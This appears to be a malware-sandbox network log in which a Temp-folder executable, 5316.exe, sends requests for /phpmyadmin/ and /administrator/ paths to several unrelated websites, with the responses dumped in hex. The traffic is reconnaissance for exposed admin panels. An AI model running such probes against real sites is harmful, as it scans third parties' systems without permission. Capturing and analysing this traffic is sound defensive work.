103	192.168.2.4	55445	3.33.130.190	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	332	OUT	GET /phpmyadmin/ HTTP/1.1 Host: lsmnutrition.com Accept: / Accept-Encoding: deflate, gzip Cookie: traffic_target=gd; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html Content-Length: 1543 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-607" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_Mw71zf30X0UPlzi8Z2vs6ZxbZVEzhSR+k+4RHdYJdpehypFrVFUrSkUb3DCUK9FMn4jcGviiLdd5vO3hT92Sxg Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: traffic_target=gd;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:24 UTC	1543	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	55113	199.34.228.100	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	178	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.guymassey.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	355	IN	HTTP/1.1 301 Moved Permanently Date: Wed, 20 Dec 2023 02:13:24 GMT Server: Apache Set-Cookie: is_mobile=0; path=/; domain=www.guymassey.com Vary: X-W-SSL,User-Agent Location: http://www.guymassey.com/phpmyadmin/ X-Host: grn153.sf2p.intern.weebly.net X-UA-Compatible: IE=edge,chrome=1 Content-Length: 390 Content-Type: text/html; charset=UTF-8
2023-12-20 02:13:24 UTC	390	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 27 68 74 74 70 3a 2f 2f 77 77 77 2e 67 75 79 6d 61 73 73 65 79 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 27 22 20 2f 3e 0a 0a 20 20 20 20 20 20 20 20 3c 74 69 74 6c 65 3e 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 20 68 74 74 70 3a 2f 2f 77 77 77 2e 67 75 79 6d 61 73 73 65 79 2e 63 6f 6d 2f 70 68 70 6d 79 61 64 6d 69 6e 2f 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 2f 68 65 61 64 3e 0a 20 20 20 20 3c 62 6f Data Ascii: <!DOCTYPE html><html> <head> <meta charset="UTF-8" /> <meta http-equiv="refresh" content="0;url='http://www.guymassey.com/phpmyadmin/'" /> <title>Redirecting to http://www.guymassey.com/phpmyadmin/</title> </head> <bo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	55480	198.185.159.144	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	182	OUT	GET /administrator/ HTTP/1.1 Host: www.qihabitats.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:24 UTC	539	IN	HTTP/1.1 404 Not Found Age: 0 Content-Type: text/html;charset=utf-8 Date: Wed, 20 Dec 2023 02:13:24 GMT Etag: W/"d3b928bd5836fb6282df4e5a69977809" Expires: Thu, 01 Jan 1970 00:00:00 GMT Server: Squarespace Set-Cookie: crumb=BUoAdGM0c2TuYjYzMDY1YmRhN2M1MjAzNWYwZmMxNzhiYTZmOWMz;Secure;Path=/ Strict-Transport-Security: max-age=15552000 Vary: Accept-Encoding X-Content-Type-Options: nosniff X-Contextid: ZQv7Rj87/Ic594wbK X-Frame-Options: SAMEORIGIN X-Frame-Options: SAMEORIGIN Connection: close Transfer-Encoding: chunked
2023-12-20 02:13:24 UTC	647	IN	Data Raw: 38 30 30 30 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3a 6f 67 3d 22 68 74 74 70 3a 2f 2f 6f 70 65 6e 67 72 61 70 68 70 72 6f 74 6f 63 6f 6c 2e 6f 72 67 2f 73 63 68 65 6d 61 2f 22 20 78 6d 6c 6e 73 3a 66 62 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 32 30 30 38 2f 66 62 6d 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 20 20 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 Data Ascii: 8000<!doctype html><html xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml" lang="en-US" > <head> <meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"> <meta name="viewport" content="width=d
2023-12-20 02:13:24 UTC	2372	IN	Data Raw: 63 6f 6e 2e 69 63 6f 3f 66 6f 72 6d 61 74 3d 31 30 30 77 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 51 69 20 48 61 62 69 74 61 74 73 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 51 69 20 48 61 62 69 74 61 74 73 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 77 65 62 73 69 74 65 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 69 6d 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 68 74 74 70 3a 2f 2f 69 6d 61 67 65 73 2e 73 71 75 61 72 65 73 70 61 63 65 2d 63 64 6e 2e 63 6f 6d 2f 63 6f 6e 74 65 6e 74 2f 76 31 2f 36 31 65 Data Ascii: con.ico?format=100w"/><meta property="og:site_name" content="Qi Habitats"/><meta property="og:title" content="Qi Habitats"/><meta property="og:type" content="website"/><meta property="og:image" content="http://images.squarespace-cdn.com/content/v1/61e
2023-12-20 02:13:24 UTC	538	IN	Data Raw: 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 20 64 65 66 65 72 3d 22 64 65 66 65 72 22 20 73 72 63 3d 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 40 73 71 73 2f 70 6f 6c 79 66 69 6c 6c 65 72 2f 31 2e 36 2f 6d 6f 64 65 72 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 53 51 55 41 52 45 53 50 41 43 45 5f 52 4f 4c 4c 55 50 53 20 3d 20 7b 7d 3b 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 72 6f 6c 6c 75 70 73 2c 20 6e 61 6d 65 29 20 7b 20 69 66 20 28 21 72 6f 6c 6c 75 70 73 5b Data Ascii: <script type="text/javascript" crossorigin="anonymous" defer="defer" src="//assets.squarespace.com/@sqs/polyfiller/1.6/modern.js"></script><script type="text/javascript">SQUARESPACE_ROLLUPS = {};</script><script>(function(rollups, name) { if (!rollups[
2023-12-20 02:13:24 UTC	4744	IN	Data Raw: 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 65 78 74 72 61 63 74 2d 63 73 73 2d 72 75 6e 74 69 6d 65 2d 39 65 32 36 63 32 65 38 65 65 35 65 30 32 65 34 39 32 34 65 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 20 64 65 66 65 72 20 3e 3c 2f 73 63 72 69 70 74 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 72 6f 6c 6c 75 70 73 2c 20 6e 61 6d 65 29 20 7b 20 69 66 20 28 21 72 6f 6c 6c 75 70 73 5b 6e 61 6d 65 5d 29 20 7b 20 72 6f 6c 6c 75 70 73 5b 6e 61 6d 65 5d 20 3d 20 7b 7d 3b 20 7d 20 72 6f 6c 6c 75 70 73 5b 6e 61 6d 65 5d 2e 6a 73 20 3d 20 5b 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 Data Ascii: espace.com/universal/scripts-compressed/extract-css-runtime-9e26c2e8ee5e02e4924e-min.en-US.js" defer ></script><script>(function(rollups, name) { if (!rollups[name]) { rollups[name] = {}; } rollups[name].js = ["//assets.squarespace.com/universal/scripts-c
2023-12-20 02:13:25 UTC	5930	IN	Data Raw: 6e 64 65 72 69 6e 67 2d 75 74 69 6c 73 2d 61 39 62 32 66 62 30 37 34 38 62 30 36 32 32 32 36 33 32 62 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 6a 73 22 7d 2c 22 73 71 75 61 72 65 73 70 61 63 65 2d 66 6f 72 6d 73 22 3a 7b 22 63 73 73 22 3a 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 74 79 6c 65 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 66 6f 72 6d 73 2d 65 36 36 31 30 65 35 32 38 64 36 66 39 32 66 64 35 30 33 31 2d 6d 69 6e 2e 65 6e 2d 55 53 2e 63 73 73 22 2c 22 6a 73 22 3a 22 2f 2f 61 73 73 65 74 73 2e 73 71 75 61 72 65 73 70 61 63 65 2e 63 6f 6d 2f 75 6e 69 76 65 72 73 61 6c 2f 73 63 72 69 70 74 73 2d 63 6f 6d 70 72 65 73 73 65 64 2f 66 6f 72 6d 73 2d 35 61 32 34 62 35 38 32 38 35 61 65 63 30 65 61 Data Ascii: ndering-utils-a9b2fb0748b06222632b-min.en-US.js"},"squarespace-forms":{"css":"//assets.squarespace.com/universal/styles-compressed/forms-e6610e528d6f92fd5031-min.en-US.css","js":"//assets.squarespace.com/universal/scripts-compressed/forms-5a24b58285aec0ea
2023-12-20 02:13:25 UTC	7116	IN	Data Raw: 75 65 22 3a 66 61 6c 73 65 2c 22 73 68 6f 77 53 68 69 70 70 69 6e 67 50 68 6f 6e 65 4e 75 6d 62 65 72 22 3a 74 72 75 65 2c 22 69 73 53 68 69 70 70 69 6e 67 50 68 6f 6e 65 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 2c 22 73 68 6f 77 42 69 6c 6c 69 6e 67 50 68 6f 6e 65 4e 75 6d 62 65 72 22 3a 74 72 75 65 2c 22 69 73 42 69 6c 6c 69 6e 67 50 68 6f 6e 65 52 65 71 75 69 72 65 64 22 3a 66 61 6c 73 65 2c 22 63 75 72 72 65 6e 63 69 65 73 53 75 70 70 6f 72 74 65 64 22 3a 5b 22 55 53 44 22 2c 22 43 41 44 22 2c 22 47 42 50 22 2c 22 41 55 44 22 2c 22 45 55 52 22 2c 22 43 48 46 22 2c 22 4e 4f 4b 22 2c 22 53 45 4b 22 2c 22 44 4b 4b 22 2c 22 4e 5a 44 22 2c 22 53 47 44 22 2c 22 4d 58 4e 22 2c 22 48 4b 44 22 2c 22 43 5a 4b 22 2c 22 49 4c 53 22 2c 22 4d 59 52 22 2c 22 52 Data Ascii: ue":false,"showShippingPhoneNumber":true,"isShippingPhoneRequired":false,"showBillingPhoneNumber":true,"isBillingPhoneRequired":false,"currenciesSupported":["USD","CAD","GBP","AUD","EUR","CHF","NOK","SEK","DKK","NZD","SGD","MXN","HKD","CZK","ILS","MYR","R
2023-12-20 02:13:25 UTC	8302	IN	Data Raw: 74 72 69 63 73 22 2c 22 63 72 6d 5f 72 65 6d 6f 76 65 5f 73 75 62 73 63 72 69 62 65 72 22 2c 22 73 75 70 70 6f 72 74 73 5f 76 65 72 73 69 6f 6e 65 64 5f 74 65 6d 70 6c 61 74 65 5f 61 73 73 65 74 73 22 2c 22 73 63 72 69 70 74 73 5f 64 65 66 65 72 22 2c 22 63 61 6d 70 61 69 67 6e 73 5f 67 6c 6f 62 61 6c 5f 75 63 5f 61 62 22 2c 22 63 61 6d 70 61 69 67 6e 73 5f 69 6d 70 6f 72 74 5f 64 69 73 63 6f 75 6e 74 73 22 2c 22 73 65 6e 64 5f 6c 6f 63 61 6c 5f 70 69 63 6b 75 70 5f 72 65 61 64 79 5f 65 6d 61 69 6c 22 2c 22 6d 61 72 6b 65 74 69 6e 67 5f 6c 61 6e 64 69 6e 67 5f 70 61 67 65 22 2c 22 69 6d 61 67 65 5f 63 6f 6d 70 6f 6e 65 6e 74 22 2c 22 73 68 6f 77 5f 61 64 64 5f 74 6f 5f 63 61 72 74 5f 69 6e 5f 70 6c 70 22 2c 22 63 6f 6d 6d 73 70 6c 61 74 5f 66 6f 72 6d 73 Data Ascii: trics","crm_remove_subscriber","supports_versioned_template_assets","scripts_defer","campaigns_global_uc_ab","campaigns_import_discounts","send_local_pickup_ready_email","marketing_landing_page","image_component","show_add_to_cart_in_plp","commsplat_forms
2023-12-20 02:13:25 UTC	3125	IN	Data Raw: 6b 2d 6f 76 65 72 6c 61 70 2d 69 6e 6c 69 6e 65 2d 6c 69 6e 6b 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 69 6d 61 67 65 2d 62 6c 6f 63 6b 2d 6f 76 65 72 6c 61 79 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 30 2e 35 29 3b 2d 2d 69 6d 61 67 65 2d 62 6c 6f 63 6b 2d 70 6f 73 74 65 72 2d 69 6d 61 67 65 2d 62 75 74 74 6f 6e 2d 62 67 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 4c 69 67 68 74 41 63 63 65 6e 74 2d 68 73 6c 29 2c 31 29 3b 2d 2d 69 6d 61 67 65 2d 62 6c 6f 63 6b 2d 70 6f 73 74 65 72 2d 69 6d 61 67 65 2d 62 75 74 74 6f 6e 2d 74 65 78 74 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 49 6e 76 65 72 73 65 4c 69 Data Ascii: k-overlap-inline-link-color:hsla(var(--black-hsl),1);--image-block-overlay-color:hsla(var(--black-hsl),0.5);--image-block-poster-image-button-bg-color:hsla(var(--safeLightAccent-hsl),1);--image-block-poster-image-button-text-color:hsla(var(--safeInverseLi
2023-12-20 02:13:25 UTC	4096	IN	Data Raw: 0d 0a 38 30 30 30 0d 0a 6c 65 2d 62 75 74 74 6f 6e 2d 74 65 78 74 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 49 6e 76 65 72 73 65 44 61 72 6b 41 63 63 65 6e 74 2d 68 73 6c 29 2c 31 29 3b 2d 2d 6c 69 73 74 2d 73 65 63 74 69 6f 6e 2d 73 69 6d 70 6c 65 2d 63 61 72 64 2d 62 75 74 74 6f 6e 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 44 61 72 6b 41 63 63 65 6e 74 2d 68 73 6c 29 2c 31 29 3b 2d 2d 6c 69 73 74 2d 73 65 63 74 69 6f 6e 2d 73 69 6d 70 6c 65 2d 63 61 72 64 2d 62 75 74 74 6f 6e 2d 74 65 78 74 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 73 61 66 65 49 6e 76 65 72 73 65 44 61 72 6b 41 63 63 65 6e 74 2d 68 73 6c 29 2c 31 29 3b 2d 2d 6c 69 73 74 2d 73 65 63 74 69 6f 6e Data Ascii: 8000le-button-text-color:hsla(var(--safeInverseDarkAccent-hsl),1);--list-section-simple-card-button-background-color:hsla(var(--safeDarkAccent-hsl),1);--list-section-simple-card-button-text-color:hsla(var(--safeInverseDarkAccent-hsl),1);--list-section
2023-12-20 02:13:25 UTC	11860	IN	Data Raw: 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 62 6c 6f 67 2d 69 74 65 6d 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 69 63 6f 6e 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 62 6c 6f 67 2d 69 74 65 6d 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 6d 65 74 61 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 62 6c 6f 67 2d 69 74 65 6d 2d 70 61 67 69 6e 61 74 69 6f 6e 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 29 3b 2d 2d 74 77 65 61 6b 2d 62 6c 6f 67 2d 69 74 65 6d 2d 74 69 74 6c 65 2d 63 6f 6c 6f 72 3a 68 73 6c 61 28 76 61 72 28 2d 2d 62 6c 61 63 6b 2d 68 73 6c 29 2c 31 Data Ascii: l),1);--tweak-blog-item-pagination-icon-color:hsla(var(--black-hsl),1);--tweak-blog-item-pagination-meta-color:hsla(var(--black-hsl),1);--tweak-blog-item-pagination-title-color:hsla(var(--black-hsl),1);--tweak-blog-item-title-color:hsla(var(--black-hsl),1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	55723	13.248.169.48	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	376	OUT	GET /administrator/index.php HTTP/1.1 Host: bvox.com Accept: / Accept-Encoding: deflate, gzip Cookie: expiry_partner=; caf_ipaddr=102.129.152.212; _policy={"restricted_market":false,"tracking_market":"implicit"}; country=US; city="Los%20Angeles" User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://bvox.com/administrator/
2023-12-20 02:13:25 UTC	836	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 20 Dec 2023 02:13:24 GMT Content-Type: text/html Content-Length: 12976 Last-Modified: Wed, 13 Dec 2023 20:27:43 GMT Connection: close ETag: "657a13bf-32b0" X-Adblock-Key: MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJRmzcpTevQqkWn6dJuX/N/Hxl7YxbOwy8+73ijqYSQEN+WGxrruAKtZtliWC86+ewQ0msW1W8psOFL/b00zWqsCAwEAAQ_b1KL8kHFlm11Bz5fVpL1NVjBxeQeSjteP3xVJvlI8dfauj0UOvsaRn8/XsW7PuWFJTSEkTEQ11AUcGUxixYhUA Cache-Control: no-cache X-Content-Type-Options: nosniff Set-Cookie: caf_ipaddr=102.129.152.212;Path=/;Max-Age=86400; Set-Cookie: country=US;Path=/;Max-Age=86400; Set-Cookie: city="Los%20Angeles";Path=/;Max-Age=86400; Set-Cookie: expiry_partner=;Path=/;Max-Age=86400; Set-Cookie: _policy={"restricted_market":false,"tracking_market":"implicit"};Path=/;Max-Age=86400; Accept-Ranges: bytes
2023-12-20 02:13:25 UTC	12976	IN	Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 64 61 74 61 3a 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 3b 2c 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 2f 3e 3c 74 69 74 6c 65 3e 3c 2f Data Ascii: <!doctype html><html lang="en"><head><meta http-equiv="content-type" content="text/html;charset=utf-8"/><meta name="viewport" content="width=device-width,initial-scale=1"/><link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"/><title></

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	55726	76.223.105.230	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	268	OUT	GET /administrator/index.php HTTP/1.1 Host: justinsweet.com Accept: / Accept-Encoding: deflate, gzip Cookie: dps_site_id=us-east-1 User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: https://justinsweet.com/administrator/
2023-12-20 02:13:25 UTC	288	IN	HTTP/1.1 404 Not Found Content-Type: text/html;charset=utf-8 Content-Length: 964 Vary: Accept-Encoding Server: DPS/2.0.0+sha-5905cfa X-Version: 5905cfa X-SiteId: us-east-1 Set-Cookie: dps_site_id=us-east-1; path=/; secure Date: Wed, 20 Dec 2023 02:13:24 GMT Connection: close
2023-12-20 02:13:25 UTC	964	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 68 72 65 66 3d 22 2f 2f 69 6d 67 31 2e 77 73 69 6d 67 2e 63 6f 6d 2f 64 70 73 2f 63 73 73 2f 75 78 63 6f Data Ascii: <!DOCTYPE html><html><head> <title>404 Not Found</title> <meta http-equiv="content-type" content="text/html; charset=utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <link href="//img1.wsimg.com/dps/css/uxco

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	55533	96.45.112.177	443	5840	C:\Users\user\AppData\Local\Temp\5316.exe

Timestamp	Bytes transferred	Direction	Data
2023-12-20 02:13:24 UTC	182	OUT	GET /phpmyadmin/ HTTP/1.1 Host: www.texasopendoor.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
2023-12-20 02:13:25 UTC	562	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 20 Dec 2023 02:13:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Set-Cookie: PHPSESSID=f5c928405ba2609549c20638686baa71; path=/ Pragma: no-cache Set-Cookie: aiovg_rand_seed=2084985675; expires=Thu, 21-Dec-2023 02:13:25 GMT; Max-Age=86400; path=/ Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.texasopendoor.com/wp-json/>; rel="https://api.w.org/"
2023-12-20 02:13:25 UTC	15822	IN	Data Raw: 62 64 64 65 0d 0a 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 22 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 3c 68 65 61 64 20 69 74 65 6d 73 63 6f 70 65 20 69 74 65 6d 74 79 70 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 2e 6f 72 67 2f 57 65 62 53 69 74 65 22 3e 0a 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 78 2d 75 61 2d 63 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 69 65 3d 65 64 67 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 Data Ascii: bdde<!doctype html><html class="no-js"lang="en-US"><head itemscope itemtype="http://schema.org/WebSite"> <meta charset="UTF-8" /> <meta http-equiv="x-ua-compatible" content="ie=edge"> <meta name="viewport" content="width=device-width, init
